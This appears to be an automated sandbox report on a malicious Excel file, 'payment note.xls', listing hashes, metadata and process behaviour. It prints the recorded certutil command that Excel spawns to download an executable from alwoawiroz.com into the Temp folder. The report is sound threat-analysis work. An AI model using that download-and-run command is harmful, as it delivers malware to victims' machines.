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| File name: | payment note.xls |
| Full analysis: | https://app.any.run/tasks/a04d03a8-df55-4324-a4b1-df9dedf46f4c |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | April 25, 2019, 19:00:00 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Apr 24 14:11:49 2019, Security: 0 |
| MD5: | 7EC4E7742DE077FDE05B0B83BB8A1CEE |
| SHA1: | 2403BFF8753252CB3FDAF1139D511815402A8121 |
| SHA256: | 18C6466A6B5E48DC36050FD25DFF58B658ADC4A8F13D46D47FAC96F555474EBB |
| SSDEEP: | 6144:OxEtjPOtioVjDGUU1qfDlavx+W2QnAOBB/rrYjxApjajm7WZurcf:5VSxAsSyI |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2556)
Starts CertUtil for downloading files
- EXCEL.EXE (PID: 2556)
SUSPICIOUS
Reads internet explorer settings
- EXCEL.EXE (PID: 2556)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2556)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (48) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (39.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Excel 2003 Worksheet |
|---|---|
| CompObjUserTypeLen: | 31 |
| HeadingPairs: |
|
| TitleOfParts: | Sheet1 |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 15 |
| Company: | - |
| CodePage: | Windows Latin 1 (Western European) |
| Security: | None |
| ModifyDate: | 2019:04:24 13:11:49 |
| CreateDate: | 2006:09:16 00:00:00 |
| Software: | Microsoft Excel |
| LastModifiedBy: | - |
| Author: | - |
Total processes
33
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2556 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
| 764 | "C:\Windows\System32\certutil.exe" -urlcache -split -f https://alwoawiroz.com/data/wed.exe C:\Users\admin\AppData\Local\Temp\\\systask.exe | C:\Windows\System32\certutil.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147954557 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
580
Read events
536
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2556 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR636F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
6
DNS requests
1
Threats
0
HTTP requests
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
764 | certutil.exe | 176.223.132.228:443 | alwoawiroz.com | Korbank sp. z o.o. | PL | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
alwoawiroz.com |
| suspicious |